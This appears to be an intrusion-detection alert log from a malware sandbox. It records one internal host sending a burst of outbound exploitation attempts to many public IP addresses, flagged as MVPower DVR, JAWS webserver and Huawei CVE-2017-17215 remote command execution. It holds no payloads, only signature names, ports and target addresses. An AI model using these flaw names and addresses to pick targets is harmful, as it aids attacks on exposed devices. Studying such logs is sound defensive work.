192.168.2.23209.97.134.8644200802025883 01/02/24-06:24:43.211070	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44200	80	192.168.2.23	209.97.134.86
192.168.2.2367.160.112.10851240802030092 01/02/24-06:25:15.888424	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51240	80	192.168.2.23	67.160.112.108
192.168.2.2362.210.48.11336542802030092 01/02/24-06:25:31.316043	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36542	80	192.168.2.23	62.210.48.113
192.168.2.23104.25.137.9540366802030092 01/02/24-06:24:34.920245	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40366	80	192.168.2.23	104.25.137.95
192.168.2.23156.235.97.23040630372152835222 01/02/24-06:23:56.194246	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40630	37215	192.168.2.23	156.235.97.230
192.168.2.23185.79.154.21054452802030092 01/02/24-06:24:58.941620	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54452	80	192.168.2.23	185.79.154.210
192.168.2.23109.109.200.17557970802025883 01/02/24-06:24:01.322259	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57970	80	192.168.2.23	109.109.200.175
192.168.2.23175.126.123.11658590802030092 01/02/24-06:25:04.257669	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58590	80	192.168.2.23	175.126.123.116
192.168.2.23156.254.85.3256952372152829579 01/02/24-06:25:03.334382	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56952	37215	192.168.2.23	156.254.85.32
192.168.2.23107.149.236.15149944802030092 01/02/24-06:24:54.829093	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49944	80	192.168.2.23	107.149.236.151
192.168.2.23146.71.40.21548486802025883 01/02/24-06:24:05.866440	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48486	80	192.168.2.23	146.71.40.215
192.168.2.2323.205.246.4848598802030092 01/02/24-06:24:55.255106	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48598	80	192.168.2.23	23.205.246.48
192.168.2.2323.37.135.6550062802025883 01/02/24-06:24:03.045010	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50062	80	192.168.2.23	23.37.135.65
192.168.2.2337.32.125.6150126802025883 01/02/24-06:24:18.097501	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50126	80	192.168.2.23	37.32.125.61
192.168.2.23142.93.144.23436246802025883 01/02/24-06:24:36.837939	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36246	80	192.168.2.23	142.93.144.234
192.168.2.23172.121.20.14551014802030092 01/02/24-06:24:24.984846	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51014	80	192.168.2.23	172.121.20.145
192.168.2.23181.206.2.4650076802025883 01/02/24-06:24:03.265616	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50076	80	192.168.2.23	181.206.2.46
192.168.2.23185.2.14.1251600802025883 01/02/24-06:24:35.360260	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51600	80	192.168.2.23	185.2.14.12
192.168.2.23156.253.36.648376372152835222 01/02/24-06:24:16.442516	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48376	37215	192.168.2.23	156.253.36.6
192.168.2.2352.35.155.16647130802030092 01/02/24-06:25:42.678669	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47130	80	192.168.2.23	52.35.155.166
192.168.2.2352.85.133.3147266802025883 01/02/24-06:24:51.888604	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47266	80	192.168.2.23	52.85.133.31
192.168.2.23104.75.225.9144926802025883 01/02/24-06:24:58.708367	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44926	80	192.168.2.23	104.75.225.91
192.168.2.2323.231.150.12851852802025883 01/02/24-06:24:24.125011	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51852	80	192.168.2.23	23.231.150.128
192.168.2.23216.172.159.3643926802025883 01/02/24-06:25:37.943407	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43926	80	192.168.2.23	216.172.159.36
192.168.2.23156.247.27.1551010372152835222 01/02/24-06:24:09.783413	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51010	37215	192.168.2.23	156.247.27.15
192.168.2.23156.247.20.25537352372152835222 01/02/24-06:25:07.990796	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37352	37215	192.168.2.23	156.247.20.255
192.168.2.23106.14.41.17435930802030092 01/02/24-06:24:18.753229	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35930	80	192.168.2.23	106.14.41.174
192.168.2.23104.71.83.3248722802030092 01/02/24-06:25:16.196517	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48722	80	192.168.2.23	104.71.83.32
192.168.2.2318.223.213.8951292802025883 01/02/24-06:25:25.918831	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51292	80	192.168.2.23	18.223.213.89
192.168.2.23148.72.211.16752086802025883 01/02/24-06:24:45.420651	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52086	80	192.168.2.23	148.72.211.167
192.168.2.2334.216.109.859862802030092 01/02/24-06:24:27.341329	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59862	80	192.168.2.23	34.216.109.8
192.168.2.23119.23.86.14936618802030092 01/02/24-06:25:42.547024	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36618	80	192.168.2.23	119.23.86.149
192.168.2.23109.196.234.1858414802025883 01/02/24-06:23:55.633320	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58414	80	192.168.2.23	109.196.234.18
192.168.2.23104.79.255.2941640802025883 01/02/24-06:24:05.776321	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41640	80	192.168.2.23	104.79.255.29
192.168.2.2374.217.134.1157808802030092 01/02/24-06:25:44.030944	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57808	80	192.168.2.23	74.217.134.11
192.168.2.2345.32.70.4540790802030092 01/02/24-06:24:45.911026	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40790	80	192.168.2.23	45.32.70.45
192.168.2.2323.194.37.21755520802025883 01/02/24-06:23:55.440502	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55520	80	192.168.2.23	23.194.37.217
192.168.2.2313.244.84.14656714802025883 01/02/24-06:24:09.228401	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56714	80	192.168.2.23	13.244.84.146
192.168.2.23202.75.103.11733286802025883 01/02/24-06:24:31.278952	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33286	80	192.168.2.23	202.75.103.117
192.168.2.23104.100.160.20360636802030092 01/02/24-06:25:11.730540	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60636	80	192.168.2.23	104.100.160.203
192.168.2.2362.138.75.22955822802025883 01/02/24-06:25:35.265496	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55822	80	192.168.2.23	62.138.75.229
192.168.2.2345.91.92.17553294802030092 01/02/24-06:25:42.747930	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53294	80	192.168.2.23	45.91.92.175
192.168.2.23156.254.94.2659154372152829579 01/02/24-06:25:03.334223	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59154	37215	192.168.2.23	156.254.94.26
192.168.2.23156.235.102.17138108372152835222 01/02/24-06:24:02.515190	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38108	37215	192.168.2.23	156.235.102.171
192.168.2.23172.67.240.21640034802025883 01/02/24-06:25:29.545694	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40034	80	192.168.2.23	172.67.240.216
192.168.2.2382.165.119.13360268802025883 01/02/24-06:24:19.252681	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60268	80	192.168.2.23	82.165.119.133
192.168.2.2381.45.23.21550156802030092 01/02/24-06:25:39.133513	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50156	80	192.168.2.23	81.45.23.215
192.168.2.23156.77.130.17758998372152829579 01/02/24-06:24:06.202488	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58998	37215	192.168.2.23	156.77.130.177
192.168.2.2354.219.136.3735172802025883 01/02/24-06:25:18.698984	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35172	80	192.168.2.23	54.219.136.37
192.168.2.23164.132.227.17152970802030092 01/02/24-06:25:19.078205	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52970	80	192.168.2.23	164.132.227.171
192.168.2.23103.131.18.24355884802030092 01/02/24-06:25:21.511351	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55884	80	192.168.2.23	103.131.18.243
192.168.2.23101.42.123.6038286802030092 01/02/24-06:23:49.854020	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38286	80	192.168.2.23	101.42.123.60
192.168.2.23156.254.98.9037532372152829579 01/02/24-06:23:56.031360	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37532	37215	192.168.2.23	156.254.98.90
192.168.2.2341.111.241.3452770802030092 01/02/24-06:25:30.188511	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52770	80	192.168.2.23	41.111.241.34
192.168.2.23113.198.35.22256150802030092 01/02/24-06:23:49.840400	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56150	80	192.168.2.23	113.198.35.222
192.168.2.23173.224.201.17554220802025883 01/02/24-06:24:23.810709	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54220	80	192.168.2.23	173.224.201.175
192.168.2.23104.105.18.18246624802025883 01/02/24-06:24:13.802828	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46624	80	192.168.2.23	104.105.18.182
192.168.2.2352.208.51.24237438802030092 01/02/24-06:24:46.160935	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37438	80	192.168.2.23	52.208.51.242
192.168.2.23104.24.209.20437990802025883 01/02/24-06:25:29.545650	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37990	80	192.168.2.23	104.24.209.204
192.168.2.23204.152.46.6744196802030092 01/02/24-06:24:40.815829	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44196	80	192.168.2.23	204.152.46.67
192.168.2.2338.6.180.18441692802030092 01/02/24-06:25:01.064194	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41692	80	192.168.2.23	38.6.180.184
192.168.2.2394.253.89.2442508802025883 01/02/24-06:23:50.267161	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42508	80	192.168.2.23	94.253.89.24
192.168.2.23156.253.47.15437722372152829579 01/02/24-06:24:59.013684	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37722	37215	192.168.2.23	156.253.47.154
192.168.2.2318.65.143.9547196802030092 01/02/24-06:25:12.172054	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47196	80	192.168.2.23	18.65.143.95
192.168.2.23156.235.102.23453884372152835222 01/02/24-06:24:34.990700	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53884	37215	192.168.2.23	156.235.102.234
192.168.2.23198.154.232.24259276802025883 01/02/24-06:24:45.021090	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59276	80	192.168.2.23	198.154.232.242
192.168.2.2387.255.233.5348182802025883 01/02/24-06:24:08.655481	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48182	80	192.168.2.23	87.255.233.53
192.168.2.23104.125.2.9460962802030092 01/02/24-06:24:40.594854	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60962	80	192.168.2.23	104.125.2.94
192.168.2.23154.92.226.19933136802030092 01/02/24-06:24:13.806614	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33136	80	192.168.2.23	154.92.226.199
192.168.2.23199.232.239.4846658802030092 01/02/24-06:24:23.868552	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46658	80	192.168.2.23	199.232.239.48
192.168.2.23114.33.8.1834070802030092 01/02/24-06:25:18.822764	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34070	80	192.168.2.23	114.33.8.18
192.168.2.23154.221.82.22160596802025883 01/02/24-06:25:02.335948	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60596	80	192.168.2.23	154.221.82.221
192.168.2.23185.110.26.8256372802025883 01/02/24-06:24:19.276074	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56372	80	192.168.2.23	185.110.26.82
192.168.2.23103.50.160.13953436802030092 01/02/24-06:24:30.812927	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53436	80	192.168.2.23	103.50.160.139
192.168.2.2351.68.46.2342144802025883 01/02/24-06:24:54.912247	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42144	80	192.168.2.23	51.68.46.23
192.168.2.23185.164.6.4838734802025883 01/02/24-06:23:54.914292	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38734	80	192.168.2.23	185.164.6.48
192.168.2.23202.43.100.11357888802030092 01/02/24-06:24:43.056570	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57888	80	192.168.2.23	202.43.100.113
192.168.2.23173.242.127.8135322802030092 01/02/24-06:25:25.176699	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35322	80	192.168.2.23	173.242.127.81
192.168.2.2350.19.25.18857882802025883 01/02/24-06:24:17.916928	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57882	80	192.168.2.23	50.19.25.188
192.168.2.23186.132.17.22347340802025883 01/02/24-06:24:18.726816	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47340	80	192.168.2.23	186.132.17.223
192.168.2.23156.235.102.7249608372152835222 01/02/24-06:25:03.497048	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49608	37215	192.168.2.23	156.235.102.72
192.168.2.2352.218.179.4559110802025883 01/02/24-06:25:34.705547	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59110	80	192.168.2.23	52.218.179.45
192.168.2.23191.82.53.4348036802025883 01/02/24-06:24:27.438039	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48036	80	192.168.2.23	191.82.53.43
192.168.2.23220.134.218.24855228802025883 01/02/24-06:23:51.508732	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55228	80	192.168.2.23	220.134.218.248
192.168.2.2352.50.137.22941178802030092 01/02/24-06:24:03.282074	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41178	80	192.168.2.23	52.50.137.229
192.168.2.2346.101.108.16542208802025883 01/02/24-06:24:24.183226	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42208	80	192.168.2.23	46.101.108.165
192.168.2.2323.55.68.9857508802025883 01/02/24-06:25:29.993837	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57508	80	192.168.2.23	23.55.68.98
192.168.2.2389.31.76.4547048802025883 01/02/24-06:24:08.904729	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47048	80	192.168.2.23	89.31.76.45
192.168.2.2334.196.134.24735922802025883 01/02/24-06:25:34.999781	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35922	80	192.168.2.23	34.196.134.247
192.168.2.23125.229.151.23948022802030092 01/02/24-06:23:54.655329	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48022	80	192.168.2.23	125.229.151.239
192.168.2.23121.11.37.23456708802030092 01/02/24-06:24:50.567237	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56708	80	192.168.2.23	121.11.37.234
192.168.2.23117.20.101.12541464802030092 01/02/24-06:24:32.881657	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41464	80	192.168.2.23	117.20.101.125
192.168.2.23146.75.63.13352912802030092 01/02/24-06:23:55.171237	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52912	80	192.168.2.23	146.75.63.133
192.168.2.23108.186.112.3448840802030092 01/02/24-06:24:54.992165	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48840	80	192.168.2.23	108.186.112.34
192.168.2.23121.143.178.8245268802030092 01/02/24-06:25:22.174762	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45268	80	192.168.2.23	121.143.178.82
192.168.2.2335.187.108.16953570802030092 01/02/24-06:25:21.019391	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53570	80	192.168.2.23	35.187.108.169
192.168.2.23190.167.115.16244810802025883 01/02/24-06:23:55.091590	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44810	80	192.168.2.23	190.167.115.162
192.168.2.2318.67.147.1742596802025883 01/02/24-06:25:34.896348	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42596	80	192.168.2.23	18.67.147.17
192.168.2.2331.30.58.13333052802025883 01/02/24-06:24:10.909503	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33052	80	192.168.2.23	31.30.58.133
192.168.2.23104.230.152.22549862802025883 01/02/24-06:24:23.652013	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49862	80	192.168.2.23	104.230.152.225
192.168.2.2354.179.83.5233844802025883 01/02/24-06:25:04.468216	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33844	80	192.168.2.23	54.179.83.52
192.168.2.2384.247.28.15551342802030092 01/02/24-06:24:08.653606	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51342	80	192.168.2.23	84.247.28.155
192.168.2.23213.29.227.25034468802030092 01/02/24-06:24:19.265733	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34468	80	192.168.2.23	213.29.227.250
192.168.2.2351.138.221.22455554802025883 01/02/24-06:25:00.997015	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55554	80	192.168.2.23	51.138.221.224
192.168.2.23154.219.183.10247752802030092 01/02/24-06:25:34.822358	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47752	80	192.168.2.23	154.219.183.102
192.168.2.23220.137.212.6059920802030092 01/02/24-06:25:15.748234	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59920	80	192.168.2.23	220.137.212.60
192.168.2.2352.24.96.4456028802025883 01/02/24-06:25:04.184391	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56028	80	192.168.2.23	52.24.96.44
192.168.2.2398.123.179.9836228802030092 01/02/24-06:24:08.556843	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36228	80	192.168.2.23	98.123.179.98
192.168.2.23154.218.175.19054758802025883 01/02/24-06:25:06.948021	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54758	80	192.168.2.23	154.218.175.190
192.168.2.2323.14.39.9148702802025883 01/02/24-06:25:37.988872	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48702	80	192.168.2.23	23.14.39.91
192.168.2.23208.109.68.2335052802025883 01/02/24-06:25:09.832341	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35052	80	192.168.2.23	208.109.68.23
192.168.2.2352.204.79.20242440802025883 01/02/24-06:25:11.888955	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42440	80	192.168.2.23	52.204.79.202
192.168.2.2335.183.50.13935316802025883 01/02/24-06:25:42.350384	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35316	80	192.168.2.23	35.183.50.139
192.168.2.23104.97.11.2460650802025883 01/02/24-06:25:22.089353	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60650	80	192.168.2.23	104.97.11.24
192.168.2.23121.11.37.23456696802025883 01/02/24-06:24:50.251380	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56696	80	192.168.2.23	121.11.37.234
192.168.2.2352.1.227.24732976802030092 01/02/24-06:25:31.234449	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	32976	80	192.168.2.23	52.1.227.247
192.168.2.23103.141.149.9046528802030092 01/02/24-06:24:19.516603	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46528	80	192.168.2.23	103.141.149.90
192.168.2.23185.204.186.16245770802025883 01/02/24-06:24:24.014425	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45770	80	192.168.2.23	185.204.186.162
192.168.2.23201.192.158.13039898802030092 01/02/24-06:25:34.727412	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39898	80	192.168.2.23	201.192.158.130
192.168.2.2390.79.11.6051570802030092 01/02/24-06:25:21.019509	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51570	80	192.168.2.23	90.79.11.60
192.168.2.23207.60.214.5343892802025883 01/02/24-06:23:58.146252	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43892	80	192.168.2.23	207.60.214.53
192.168.2.23173.255.250.6148452802025883 01/02/24-06:24:17.602391	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48452	80	192.168.2.23	173.255.250.61
192.168.2.2334.206.169.21634808802030092 01/02/24-06:25:00.915047	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34808	80	192.168.2.23	34.206.169.216
192.168.2.232.21.224.12652276802025883 01/02/24-06:25:16.010358	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52276	80	192.168.2.23	2.21.224.126
192.168.2.2352.68.208.13645118802030092 01/02/24-06:25:29.707548	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45118	80	192.168.2.23	52.68.208.136
192.168.2.2313.236.88.18038176802025883 01/02/24-06:25:14.749773	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38176	80	192.168.2.23	13.236.88.180
192.168.2.2313.127.14.18542886802025883 01/02/24-06:24:41.189472	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42886	80	192.168.2.23	13.127.14.185
192.168.2.23143.208.250.1143668802025883 01/02/24-06:25:10.207227	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43668	80	192.168.2.23	143.208.250.11
192.168.2.2385.50.165.3759160802025883 01/02/24-06:24:24.106651	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59160	80	192.168.2.23	85.50.165.37
192.168.2.23146.75.21.14359376802030092 01/02/24-06:24:45.316760	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59376	80	192.168.2.23	146.75.21.143
192.168.2.2313.249.87.5444040802025883 01/02/24-06:24:23.621355	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44040	80	192.168.2.23	13.249.87.54
192.168.2.23198.44.232.13837024802030092 01/02/24-06:25:43.163000	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37024	80	192.168.2.23	198.44.232.138
192.168.2.23202.81.229.16957854802030092 01/02/24-06:24:05.844790	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57854	80	192.168.2.23	202.81.229.169
192.168.2.23104.93.2.11952484802030092 01/02/24-06:24:52.173461	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52484	80	192.168.2.23	104.93.2.119
192.168.2.2338.181.35.21934152802025883 01/02/24-06:23:55.217292	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34152	80	192.168.2.23	38.181.35.219
192.168.2.23205.164.12.22246902802030092 01/02/24-06:24:20.042564	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46902	80	192.168.2.23	205.164.12.222
192.168.2.2343.139.38.17550990802030092 01/02/24-06:24:04.154188	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50990	80	192.168.2.23	43.139.38.175
192.168.2.23103.21.117.2251812802030092 01/02/24-06:25:22.210601	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51812	80	192.168.2.23	103.21.117.22
192.168.2.23208.109.173.19843616802025883 01/02/24-06:25:34.668261	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43616	80	192.168.2.23	208.109.173.198
192.168.2.23172.98.133.4651318802025883 01/02/24-06:25:21.231178	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51318	80	192.168.2.23	172.98.133.46
192.168.2.2334.233.79.10139524802025883 01/02/24-06:24:40.913375	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39524	80	192.168.2.23	34.233.79.101
192.168.2.2399.80.176.12533828802030092 01/02/24-06:25:00.994557	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33828	80	192.168.2.23	99.80.176.125
192.168.2.2323.216.114.4945924802030092 01/02/24-06:25:10.067215	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45924	80	192.168.2.23	23.216.114.49
192.168.2.2338.132.215.4440936802025883 01/02/24-06:24:13.920460	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40936	80	192.168.2.23	38.132.215.44
192.168.2.2352.29.37.5835934802025883 01/02/24-06:25:21.265685	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35934	80	192.168.2.23	52.29.37.58
192.168.2.23167.73.14.8833056802030092 01/02/24-06:24:23.650284	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33056	80	192.168.2.23	167.73.14.88
192.168.2.23118.99.59.24958056802030092 01/02/24-06:24:31.063069	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58056	80	192.168.2.23	118.99.59.249
192.168.2.23156.234.219.23440728802030092 01/02/24-06:25:19.115031	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40728	80	192.168.2.23	156.234.219.234
192.168.2.2352.218.234.14751138802030092 01/02/24-06:25:02.194486	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51138	80	192.168.2.23	52.218.234.147
192.168.2.23107.158.48.17360248802030092 01/02/24-06:25:24.657251	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60248	80	192.168.2.23	107.158.48.173
192.168.2.23121.4.183.14448996802030092 01/02/24-06:25:19.173099	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48996	80	192.168.2.23	121.4.183.144
192.168.2.23197.26.81.356728802025883 01/02/24-06:24:49.038851	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56728	80	192.168.2.23	197.26.81.3
192.168.2.2318.169.231.14560782802030092 01/02/24-06:24:54.905175	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60782	80	192.168.2.23	18.169.231.145
192.168.2.23185.114.245.25152468802025883 01/02/24-06:25:19.107884	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52468	80	192.168.2.23	185.114.245.251
192.168.2.23184.85.129.25155542802030092 01/02/24-06:24:01.334668	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55542	80	192.168.2.23	184.85.129.251
192.168.2.2354.199.121.17058798802030092 01/02/24-06:24:19.269485	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58798	80	192.168.2.23	54.199.121.170
192.168.2.23104.69.218.3453078802025883 01/02/24-06:24:30.590605	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53078	80	192.168.2.23	104.69.218.34
192.168.2.23209.51.136.5541670802025883 01/02/24-06:25:42.872171	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41670	80	192.168.2.23	209.51.136.55
192.168.2.2338.239.158.19649628802025883 01/02/24-06:24:03.470698	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49628	80	192.168.2.23	38.239.158.196
192.168.2.23202.238.204.21040470802025883 01/02/24-06:24:24.201458	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40470	80	192.168.2.23	202.238.204.210
192.168.2.23185.179.157.10256368802030092 01/02/24-06:24:10.926344	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56368	80	192.168.2.23	185.179.157.102
192.168.2.2318.208.8.11543682802025883 01/02/24-06:25:15.875600	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43682	80	192.168.2.23	18.208.8.115
192.168.2.23168.93.163.14643476802030092 01/02/24-06:24:30.901528	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43476	80	192.168.2.23	168.93.163.146
